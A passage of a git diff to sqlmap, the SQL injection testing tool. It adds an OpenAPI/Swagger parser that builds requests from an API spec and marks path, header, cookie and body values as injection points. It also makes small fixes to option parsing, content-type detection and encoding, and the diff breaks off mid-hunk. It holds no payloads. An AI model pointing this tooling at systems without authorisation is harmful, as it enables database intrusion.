||||||
|
|
||||||
|
target.add_argument("--openapi", dest="openApiFile",
|
||||||
|
help="Derive targets from OpenAPI/Swagger (file/URL)")
|
||||||
|
|
||||||
|
target.add_argument("--openapi-base", dest="openApiBase",
|
||||||
|
help="Base URL for a host-less OpenAPI/Swagger spec")
|
||||||
|
|
||||||
# Request options
|
# Request options
|
||||||
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
|
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
|
||||||
|
|
||||||
|
|
@ -153,7 +159,7 @@ def cmdLineParser(argv=None):
|
||||||
request.add_argument("-H", "--header", dest="header",
|
request.add_argument("-H", "--header", dest="header",
|
||||||
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
|
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
|
||||||
|
|
||||||
request.add_argument("--method", dest="method",
|
request.add_argument("-X", "--method", dest="method",
|
||||||
help="Force usage of given HTTP method (e.g. PUT)")
|
help="Force usage of given HTTP method (e.g. PUT)")
|
||||||
|
|
||||||
request.add_argument("--data", dest="data",
|
request.add_argument("--data", dest="data",
|
||||||
|
|
@ -523,7 +529,7 @@ def cmdLineParser(argv=None):
|
||||||
enumeration.add_argument("-C", dest="col",
|
enumeration.add_argument("-C", dest="col",
|
||||||
help="DBMS database table column(s) to enumerate")
|
help="DBMS database table column(s) to enumerate")
|
||||||
|
|
||||||
enumeration.add_argument("-X", dest="exclude",
|
enumeration.add_argument("--exclude", dest="exclude",
|
||||||
help="DBMS database identifier(s) to not enumerate")
|
help="DBMS database identifier(s) to not enumerate")
|
||||||
|
|
||||||
enumeration.add_argument("-U", dest="user",
|
enumeration.add_argument("-U", dest="user",
|
||||||
|
|
@ -912,6 +918,9 @@ def cmdLineParser(argv=None):
|
||||||
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
|
parser.add_argument("--fp-test", dest="fpTest", action="store_true",
|
||||||
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--api-test", dest="apiTest", action="store_true",
|
parser.add_argument("--api-test", dest="apiTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
|
|
@ -1169,7 +1178,7 @@ def cmdLineParser(argv=None):
|
||||||
else:
|
else:
|
||||||
args.stdinPipe = None
|
args.stdinPipe = None
|
||||||
|
|
||||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
||||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). "
|
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). "
|
||||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|
|
||||||
|
|
@ -75,6 +75,8 @@ def configFileParser(configFile):
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex)
|
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex)
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
finally:
|
||||||
|
configFP.close()
|
||||||
|
|
||||||
if not config.has_section("Target"):
|
if not config.has_section("Target"):
|
||||||
errMsg = "missing a mandatory section 'Target' in the configuration file"
|
errMsg = "missing a mandatory section 'Target' in the configuration file"
|
||||||
|
|
|
||||||
361
lib/parse/openapi.py
Normal file
361
lib/parse/openapi.py
Normal file
|
|
@ -0,0 +1,361 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import HTTP_HEADER
|
||||||
|
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||||
|
from thirdparty import six
|
||||||
|
from thirdparty.six.moves.urllib.parse import quote as _quote
|
||||||
|
|
||||||
|
try:
|
||||||
|
import yaml # optional (only needed for YAML specs)
|
||||||
|
except ImportError:
|
||||||
|
yaml = None
|
||||||
|
|
||||||
|
# Best-effort extraction of concrete request targets from an OpenAPI (v3) / Swagger (v2) document. The
|
||||||
|
# document is treated as a request generator, NOT a contract to validate: for every operation a single
|
||||||
|
# concrete request is synthesized (base URL + filled path + example query/body from the schema) and any
|
||||||
|
# operation that cannot be built is skipped with a warning, so a loose/incomplete spec degrades gracefully.
|
||||||
|
|
||||||
|
MAX_REF_DEPTH = 25
|
||||||
|
|
||||||
|
def _loadSpec(content):
|
||||||
|
try:
|
||||||
|
return json.loads(content)
|
||||||
|
except ValueError:
|
||||||
|
if yaml is None:
|
||||||
|
errMsg = "the provided OpenAPI/Swagger specification is not JSON and the optional "
|
||||||
|
errMsg += "'pyyaml' module (needed for YAML specifications) is not available"
|
||||||
|
raise ValueError(errMsg)
|
||||||
|
try:
|
||||||
|
return yaml.safe_load(content)
|
||||||
|
except Exception as ex:
|
||||||
|
raise ValueError("not valid JSON nor YAML (%s)" % getSafeExString(ex))
|
||||||
|
|
||||||
|
def _resolve(spec, node, seen=None, depth=0):
|
||||||
|
seen = seen or set()
|
||||||
|
if isinstance(node, dict) and "$ref" in node:
|
||||||
|
ref = node["$ref"]
|
||||||
|
if not isinstance(ref, six.string_types): # malformed '$ref' (non-string) -> treat as no ref
|
||||||
|
return {}
|
||||||
|
if ref in seen or depth > MAX_REF_DEPTH:
|
||||||
|
return {}
|
||||||
|
if not ref.startswith("#/"):
|
||||||
|
logger.warning("skipping external OpenAPI $ref '%s'" % ref)
|
||||||
|
return {}
|
||||||
|
seen = seen | set([ref])
|
||||||
|
current = spec
|
||||||
|
for part in ref[2:].split('/'):
|
||||||
|
part = part.replace("~1", "/").replace("~0", "~")
|
||||||
|
if not isinstance(current, dict) or part not in current:
|
||||||
|
logger.warning("skipping dangling OpenAPI $ref '%s'" % ref)
|
||||||
|
return {}
|
||||||
|
current = current[part]
|
||||||
|
return _resolve(spec, current, seen, depth + 1)
|
||||||
|
return node
|
||||||
|
|
||||||
|
EXAMPLE_MAX_DEPTH = 8 # request examples do not need deep nesting; caps runaway synthesis on large specs
|
||||||
|
|
||||||
|
def _example(spec, schema, seen=None, depth=0, cache=None):
|
||||||
|
# 'cache' memoizes the synthesized example per $ref across the whole run - big real-world specs
|
||||||
|
# (Stripe/GitHub/k8s) reuse the same large schemas across thousands of operations, so without this
|
||||||
|
# the extraction is exponential. 'depth' caps recursion for deeply nested / self-referential schemas.
|
||||||
|
seen = seen or set()
|
||||||
|
if cache is None:
|
||||||
|
cache = {}
|
||||||
|
if depth > EXAMPLE_MAX_DEPTH:
|
||||||
|
return "1"
|
||||||
|
ref = schema.get("$ref") if isinstance(schema, dict) else None
|
||||||
|
if not isinstance(ref, six.string_types): # only a string $ref is a valid (hashable) cache key
|
||||||
|
ref = None
|
||||||
|
if ref is not None and ref in cache:
|
||||||
|
return cache[ref]
|
||||||
|
|
||||||
|
schema = _resolve(spec, schema or {}, seen, depth)
|
||||||
|
if not isinstance(schema, dict):
|
||||||
|
return "1"
|
||||||
|
|
||||||
|
value = None
|
||||||
|
if "example" in schema:
|
||||||
|
value = schema["example"]
|
||||||
|
elif "const" in schema: # JSON Schema 2020-12 (OpenAPI 3.1)
|
||||||
|
value = schema["const"]
|
||||||
|
elif "default" in schema:
|
||||||
|
value = schema["default"]
|
||||||
|
elif isinstance(schema.get("examples"), list) and schema["examples"]:
|
||||||
|
value = schema["examples"][0]
|
||||||
|
elif isinstance(schema.get("enum"), list) and schema["enum"]:
|
||||||
|
value = schema["enum"][0]
|
||||||
|
else:
|
||||||
|
combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None)
|
||||||
|
if combinator:
|
||||||
|
if combinator == "allOf":
|
||||||
|
merged = {}
|
||||||
|
for sub in schema[combinator]:
|
||||||
|
part = _example(spec, sub, seen, depth + 1, cache)
|
||||||
|
if isinstance(part, dict):
|
||||||
|
merged.update(part)
|
||||||
|
value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache)
|
||||||
|
else:
|
||||||
|
value = _example(spec, schema[combinator][0], seen, depth + 1, cache)
|
||||||
|
else:
|
||||||
|
_type = schema.get("type")
|
||||||
|
if isinstance(_type, list): # OpenAPI 3.1 allows a list of types (e.g. ["string", "null"])
|
||||||
|
_type = next((_ for _ in _type if _ != "null"), None)
|
||||||
|
if _type == "object" or ("properties" in schema and not _type):
|
||||||
|
properties = schema.get("properties")
|
||||||
|
value = dict((name, _example(spec, sub, seen, depth + 1, cache)) for name, sub in (properties if isinstance(properties, dict) else {}).items())
|
||||||
|
elif _type == "array":
|
||||||
|
value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)]
|
||||||
|
elif _type in ("integer", "number"):
|
||||||
|
value = 1
|
||||||
|
elif _type == "boolean":
|
||||||
|
value = True
|
||||||
|
elif _type == "string":
|
||||||
|
formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="}
|
||||||
|
value = formats.get(schema.get("format"), "1")
|
||||||
|
else:
|
||||||
|
value = "1"
|
||||||
|
|
||||||
|
if ref is not None:
|
||||||
|
cache[ref] = value
|
||||||
|
return value
|
||||||
|
|
||||||
|
def _scalar(value):
|
||||||
|
if isinstance(value, bool):
|
||||||
|
return "true" if value else "false"
|
||||||
|
if isinstance(value, (int, float)):
|
||||||
|
return str(value)
|
||||||
|
if isinstance(value, six.string_types):
|
||||||
|
return value
|
||||||
|
try:
|
||||||
|
return json.dumps(value)
|
||||||
|
except TypeError: # e.g. datetime.date from a YAML 'example: 2020-01-01'
|
||||||
|
return str(value)
|
||||||
|
|
||||||
|
_NO_EXAMPLE = object()
|
||||||
|
|
||||||
|
def _explicitExample(spec, container):
|
||||||
|
# a concrete 'example'/'examples' declared on a parameter or media-type object - preferred over a
|
||||||
|
# schema-synthesized value (real specs carry the canonical, validation-passing sample here). 'examples'
|
||||||
|
# is a map of name -> {"value": ...} (each entry possibly a $ref).
|
||||||
|
if not isinstance(container, dict):
|
||||||
|
return _NO_EXAMPLE
|
||||||
|
if container.get("example") is not None: # 'null' -> treat as absent, fall back to schema synthesis
|
||||||
|
return container["example"]
|
||||||
|
examples = container.get("examples")
|
||||||
|
if isinstance(examples, dict) and examples:
|
||||||
|
first = _resolve(spec, next(iter(examples.values())))
|
||||||
|
if isinstance(first, dict) and first.get("value") is not None:
|
||||||
|
return first["value"]
|
||||||
|
return _NO_EXAMPLE
|
||||||
|
|
||||||
|
def _noMark(text):
|
||||||
|
# strip any custom injection mark already present in a synthesized value so only the intentionally
|
||||||
|
# appended mark (if any) survives (avoids a stray/second injection point)
|
||||||
|
return text.replace(CUSTOM_INJECTION_MARK_CHAR, "")
|
||||||
|
|
||||||
|
def _headerClean(text):
|
||||||
|
# remove characters that can not legally appear in an HTTP header name/value (CR, LF, NUL and other
|
||||||
|
# C0 controls) so a spec-supplied header can not inject extra headers or corrupt the request line
|
||||||
|
return re.sub(r"[\x00-\x1f\x7f]", "", text)
|
||||||
|
|
||||||
|
_HEADER_NAME_RE = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") # RFC 7230 header field-name token (no spaces / ':' / separators)
|
||||||
|
|
||||||
|
def _urlSafe(value, safe=""):
|
||||||
|
# percent-encode a synthesized value/name so it can not break the URL/body structure (spaces, '&',
|
||||||
|
# '=', '/', '?', '#', ...); py2/py3-safe (py2 urllib.quote needs bytes for non-ASCII). 'safe' keeps
|
||||||
|
# selected chars unescaped (e.g. "[]" for deep-object parameter names like filter[status]).
|
||||||
|
try:
|
||||||
|
return _quote(value.encode("utf-8") if isinstance(value, six.text_type) else str(value), safe=safe)
|
||||||
|
except Exception:
|
||||||
|
return value
|
||||||
|
|
||||||
|
def _baseUrl(spec, origin=None, servers=None):
|
||||||
|
# defensive throughout: a hostile/loose spec must not crash here (this runs outside the per-operation
|
||||||
|
# try/except, so an exception would abort the whole extraction). 'servers' overrides the spec-level
|
||||||
|
# 'servers' (used for per-path / per-operation 'servers').
|
||||||
|
basePath = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else ""
|
||||||
|
if basePath and not basePath.startswith("/"): # Swagger v2 basePath is a path -> ensure it is slash-prefixed
|
||||||
|
basePath = "/" + basePath
|
||||||
|
servers = servers if servers is not None else spec.get("servers")
|
||||||
|
if isinstance(servers, list) and servers and isinstance(servers[0], dict):
|
||||||
|
url = servers[0].get("url")
|
||||||
|
url = url if isinstance(url, six.string_types) else ""
|
||||||
|
variables = servers[0].get("variables")
|
||||||
|
if isinstance(variables, dict):
|
||||||
|
for name, meta in variables.items():
|
||||||
|
default = meta.get("default", "1") if isinstance(meta, dict) else "1"
|
||||||
|
url = url.replace("{%s}" % name, str(default))
|
||||||
|
if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # absolute server URL -> used as declared (the host is NOT rewritten to the spec's own origin)
|
||||||
|
return url.rstrip('/')
|
||||||
|
return ((origin.rstrip('/') if origin else "") + "/" + url.lstrip('/')).rstrip('/') # relative server URL -> resolved against origin
|
||||||
|
if spec.get("host"): # Swagger v2 with an explicit host
|
||||||
|
schemes = spec.get("schemes")
|
||||||
|
scheme = schemes[0] if isinstance(schemes, list) and schemes else "https"
|
||||||
|
return "%s://%s%s" % (scheme, spec["host"], basePath.rstrip('/'))
|
||||||
|
return (origin.rstrip('/') if origin else "") + basePath.rstrip('/') # no servers/host -> spec's own origin
|
||||||
|
|
||||||
|
_METHODS = ("get", "post", "put", "delete", "patch", "options", "head")
|
||||||
|
|
||||||
|
def openApiTargets(content, origin=None):
|
||||||
|
"""
|
||||||
|
Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger
|
||||||
|
specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin'
|
||||||
|
(scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers'
|
||||||
|
entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry
|
||||||
|
the custom injection mark so they become testable injection points.
|
||||||
|
"""
|
||||||
|
|
||||||
|
spec = _loadSpec(content)
|
||||||
|
if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"):
|
||||||
|
errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification"
|
||||||
|
raise ValueError(errMsg)
|
||||||
|
|
||||||
|
try:
|
||||||
|
rootBase = _baseUrl(spec, origin)
|
||||||
|
except Exception: # never let base-URL synthesis abort the whole run
|
||||||
|
rootBase = origin.rstrip('/') if isinstance(origin, six.string_types) else ""
|
||||||
|
isV2 = "swagger" in spec and "openapi" not in spec
|
||||||
|
retVal = []
|
||||||
|
cache = {} # $ref -> synthesized example, shared across all operations (large specs reuse schemas)
|
||||||
|
|
||||||
|
for path, item in (spec.get("paths") or {}).items():
|
||||||
|
item = _resolve(spec, item) # a Path Item object may itself be a $ref
|
||||||
|
if not isinstance(item, dict):
|
||||||
|
continue
|
||||||
|
shared = item.get("parameters") or [] # 'or []': a present-but-null 'parameters' must not break concatenation
|
||||||
|
for method, operation in item.items():
|
||||||
|
if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool)
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
# effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root
|
||||||
|
opServers = operation.get("servers") or item.get("servers")
|
||||||
|
base = rootBase
|
||||||
|
if opServers:
|
||||||
|
try:
|
||||||
|
base = _baseUrl(spec, origin, opServers)
|
||||||
|
except Exception:
|
||||||
|
base = rootBase
|
||||||
|
|
||||||
|
# merge path-level + operation-level parameters, de-duplicated by (in, name); operation wins
|
||||||
|
params, seen = [], {}
|
||||||
|
for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])):
|
||||||
|
resolved = _resolve(spec, raw)
|
||||||
|
if isinstance(resolved, dict) and resolved.get("name"):
|
||||||
|
key = (resolved.get("in"), resolved.get("name"))
|
||||||
|
if key in seen:
|
||||||
|
params[seen[key]] = resolved
|
||||||
|
continue
|
||||||
|
seen[key] = len(params)
|
||||||
|
params.append(resolved)
|
||||||
|
|
||||||
|
urlPath = path if isinstance(path, six.string_types) else str(path)
|
||||||
|
query, headers, form, cookies = [], [], [], []
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
if not isinstance(param, dict):
|
||||||
|
continue
|
||||||
|
location, name = param.get("in"), param.get("name")
|
||||||
|
if not name:
|
||||||
|
continue
|
||||||
|
if not isinstance(name, six.string_types): # YAML can yield a non-string param name (e.g. 5)
|
||||||
|
name = str(name)
|
||||||
|
explicit = _explicitExample(spec, param) # parameter-level example/examples wins over schema synthesis
|
||||||
|
if explicit is not _NO_EXAMPLE:
|
||||||
|
value = _scalar(explicit)
|
||||||
|
else:
|
||||||
|
schema = param.get("schema") or {"type": param.get("type", "string")}
|
||||||
|
value = _scalar(_example(spec, schema, cache=cache))
|
||||||
|
if location == "path":
|
||||||
|
# mark the filled path segment as a (custom) URI injection point - path parameters are
|
||||||
|
# prime REST injection targets; the value is encoded first so its own chars add no mark
|
||||||
|
urlPath = urlPath.replace("{%s}" % name, _urlSafe(value) + CUSTOM_INJECTION_MARK_CHAR)
|
||||||
|
elif location == "query":
|
||||||
|
# best-effort: array/object query params are scalarized (single value), NOT expanded per
|
||||||
|
# OpenAPI style/explode (repeated keys, comma/space/pipe delimited, deepObject) - the goal
|
||||||
|
# is one testable request per operation, not faithful serialization
|
||||||
|
query.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value)))
|
||||||
|
elif location == "header":
|
||||||
|
# append the custom injection mark so the header value becomes a testable (custom)
|
||||||
|
# injection point (non-exclusive: query/body params are still auto-tested); skip names
|
||||||
|
# that are not valid HTTP field-name tokens
|
||||||
|
headerName = _headerClean(name)
|
||||||
|
if headerName and _HEADER_NAME_RE.match(headerName):
|
||||||
|
headers.append((headerName, "%s%s" % (_headerClean(_noMark(value)), CUSTOM_INJECTION_MARK_CHAR)))
|
||||||
|
elif location == "cookie":
|
||||||
|
# a cookie name is a token; the value must not contain cookie-structure chars ('; ,'
|
||||||
|
# and whitespace) or a spec could smuggle extra cookie pairs
|
||||||
|
cookieName = _headerClean(name)
|
||||||
|
if cookieName and _HEADER_NAME_RE.match(cookieName):
|
||||||
|
cookieValue = re.sub(r"[;,\s]", "", _headerClean(_noMark(value)))
|
||||||
|
cookies.append("%s=%s%s" % (cookieName, cookieValue, CUSTOM_INJECTION_MARK_CHAR))
|
||||||
|
elif location == "formData": # Swagger v2 in:"formData" -> urlencoded body field
|
||||||
|
form.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value)))
|
||||||
|
|
||||||
|
if cookies: # aggregate all cookie params into a single Cookie header
|
||||||
|
headers.append((HTTP_HEADER.COOKIE, "; ".join(cookies)))
|
||||||
|
|
||||||
|
urlPath = urlPath.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") # keep a literal path key from breaking the URL (filled values are already encoded)
|
||||||
|
if urlPath and not urlPath.startswith("/"): # OpenAPI path keys start with '/'; harden a loose spec so base+path is not glued (/v1pets)
|
||||||
|
urlPath = "/" + urlPath
|
||||||
|
|
||||||
|
url = base + urlPath
|
||||||
|
if query:
|
||||||
|
url += "?" + "&".join(query)
|
||||||
|
|
||||||
|
url = re.sub(r"\{[^}]+\}", "1", url) # any leftover template var (undefined path OR server variable) -> "1"
|
||||||
|
|
||||||
|
if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # no scheme/host -> unscannable relative URL
|
||||||
|
logger.warning("skipping OpenAPI operation '%s %s' (unable to resolve an absolute target URL; provide the specification by URL or add a 'servers'/'host' entry)" % (str(method).upper(), path))
|
||||||
|
continue
|
||||||
|
|
||||||
|
data = None
|
||||||
|
body = _resolve(spec, operation.get("requestBody") or {})
|
||||||
|
content_ = body.get("content") if isinstance(body, dict) else None
|
||||||
|
if isinstance(content_, dict) and content_:
|
||||||
|
mediaTypes = [_ for _ in content_ if isinstance(_, six.string_types)] # media-type keys must be strings
|
||||||
|
picked = next((_ for _ in mediaTypes if _ == "application/json" or _.endswith("+json") or "json" in _), None) \
|
||||||
|
or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in mediaTypes else None) \
|
||||||
|
or (mediaTypes[0] if mediaTypes else None)
|
||||||
|
if picked:
|
||||||
|
mediaType = content_[picked] if isinstance(content_[picked], dict) else {}
|
||||||
|
example = _explicitExample(spec, mediaType) # media-type-level example/examples wins over schema synthesis
|
||||||
|
if example is _NO_EXAMPLE:
|
||||||
|
example = _example(spec, mediaType.get("schema") or {}, cache=cache)
|
||||||
|
if "json" in picked:
|
||||||
|
data = _noMark(json.dumps(example, default=str))
|
||||||
|
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json"))
|
||||||
|
elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict):
|
||||||
|
data = "&".join("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(_scalar(value))) for name, value in example.items())
|
||||||
|
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded"))
|
||||||
|
elif isinstance(example, six.string_types):
|
||||||
|
# raw (text / xml / ...) body -> mark it so the whole body becomes a testable point
|
||||||
|
data = _noMark(example) + CUSTOM_INJECTION_MARK_CHAR
|
||||||
|
headers.append((HTTP_HEADER.CONTENT_TYPE, picked))
|
||||||
|
else: # e.g. multipart/form-data or a structured non-JSON body (no safe serialization)
|
||||||
|
logger.debug("not synthesizing a '%s' request body for '%s %s'" % (picked, str(method).upper(), path))
|
||||||
|
elif isinstance(operation.get("parameters"), list) or isV2:
|
||||||
|
for param in params: # Swagger v2 in:"body"
|
||||||
|
if isinstance(param, dict) and param.get("in") == "body":
|
||||||
|
example = _example(spec, param.get("schema") or {}, cache=cache)
|
||||||
|
data = _noMark(json.dumps(example, default=str))
|
||||||
|
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json"))
|
||||||
|
|
||||||
|
if data is None and form: # Swagger v2 in:"formData" fields -> urlencoded body
|
||||||
|
data = "&".join(form)
|
||||||
|
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded"))
|
||||||
|
|
||||||
|
retVal.append((url, str(method).upper(), data, headers or None))
|
||||||
|
except Exception as ex:
|
||||||
|
logger.warning("skipping OpenAPI operation '%s %s' (%s)" % (str(method).upper(), path, getSafeExString(ex)))
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
@ -57,7 +57,7 @@ from lib.parse.html import htmlParser
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.chardet import detect
|
from thirdparty.chardet import detect
|
||||||
from thirdparty.identywaf import identYwaf
|
from thirdparty.identywaf import identYwaf
|
||||||
from thirdparty.odict import OrderedDict
|
from collections import OrderedDict
|
||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
from thirdparty.six.moves import http_client as _http_client
|
from thirdparty.six.moves import http_client as _http_client
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -39,15 +39,18 @@ from thirdparty import six
|
||||||
|
|
||||||
def _isJsonResponse(headers):
|
def _isJsonResponse(headers):
|
||||||
"""
|
"""
|
||||||
Returns True if the response Content-Type indicates a JSON document (e.g. 'application/json'
|
Returns True if the response Content-Type plausibly indicates a JSON document - i.e. the canonical
|
||||||
or a structured suffix like 'application/vnd.api+json')
|
'application/json', the common misservings ('text/json', 'application/javascript', ...), or a
|
||||||
|
structured suffix like 'application/vnd.api+json'. Being liberal here is safe: jsonMinimize() returns
|
||||||
|
None for anything that is not actually parseable JSON, so a mislabelled body simply falls back to the
|
||||||
|
normal text comparison.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = False
|
retVal = False
|
||||||
|
|
||||||
if headers:
|
if headers:
|
||||||
contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower()
|
contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower()
|
||||||
retVal = contentType == "application/json" or contentType.endswith("+json")
|
retVal = contentType in ("application/json", "text/json", "application/javascript", "text/javascript", "application/x-javascript") or contentType.endswith("+json")
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -63,7 +63,6 @@ from lib.core.common import unsafeVariableNaming
|
||||||
from lib.core.common import urldecode
|
from lib.core.common import urldecode
|
||||||
from lib.core.common import urlencode
|
from lib.core.common import urlencode
|
||||||
from lib.core.common import wasLastResponseDelayed
|
from lib.core.common import wasLastResponseDelayed
|
||||||
from lib.core.compat import LooseVersion
|
|
||||||
from lib.core.compat import patchHeaders
|
from lib.core.compat import patchHeaders
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import encodeBase64
|
from lib.core.convert import encodeBase64
|
||||||
|
|
@ -111,7 +110,6 @@ from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import JAVASCRIPT_HREF_REGEX
|
from lib.core.settings import JAVASCRIPT_HREF_REGEX
|
||||||
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
||||||
from lib.core.settings import LIVE_COOKIES_TIMEOUT
|
from lib.core.settings import LIVE_COOKIES_TIMEOUT
|
||||||
from lib.core.settings import MIN_HTTPX_VERSION
|
|
||||||
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
||||||
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
||||||
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
||||||
|
|
@ -142,7 +140,7 @@ from lib.request.direct import direct
|
||||||
from lib.request.methodrequest import MethodRequest
|
from lib.request.methodrequest import MethodRequest
|
||||||
from lib.utils.safe2bin import safecharencode
|
from lib.utils.safe2bin import safecharencode
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.odict import OrderedDict
|
from collections import OrderedDict
|
||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
from thirdparty.six.moves import http_client as _http_client
|
from thirdparty.six.moves import http_client as _http_client
|
||||||
from thirdparty.six.moves import urllib as _urllib
|
from thirdparty.six.moves import urllib as _urllib
|
||||||
|
|
@ -510,7 +508,10 @@ class Connect(object):
|
||||||
|
|
||||||
for key, value in list(headers.items()):
|
for key, value in list(headers.items()):
|
||||||
if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
|
if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
|
||||||
value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].lower() != "br") or "identity"
|
# keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted
|
||||||
|
# 'Accept-Encoding' (e.g. "gzip, deflate, br, zstd") must not make the server return a body
|
||||||
|
# we cannot read. Anything else (br, zstd, *, ...) is dropped, falling back to "identity".
|
||||||
|
value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in ("gzip", "x-gzip", "deflate", "identity")) or "identity"
|
||||||
|
|
||||||
del headers[key]
|
del headers[key]
|
||||||
if isinstance(value, six.string_types):
|
if isinstance(value, six.string_types):
|
||||||
|
|
@ -632,30 +633,22 @@ class Connect(object):
|
||||||
cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value)
|
cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value)
|
||||||
|
|
||||||
if conf.http2:
|
if conf.http2:
|
||||||
try:
|
from lib.request.http2 import open_url as http2OpenUrl
|
||||||
import httpx
|
|
||||||
except ImportError:
|
|
||||||
raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else ""))
|
|
||||||
|
|
||||||
if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION):
|
h2proxy = None
|
||||||
raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION))
|
if conf.proxy:
|
||||||
|
_proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy)
|
||||||
|
if (_proxyParts.scheme or "").lower().startswith("socks"):
|
||||||
|
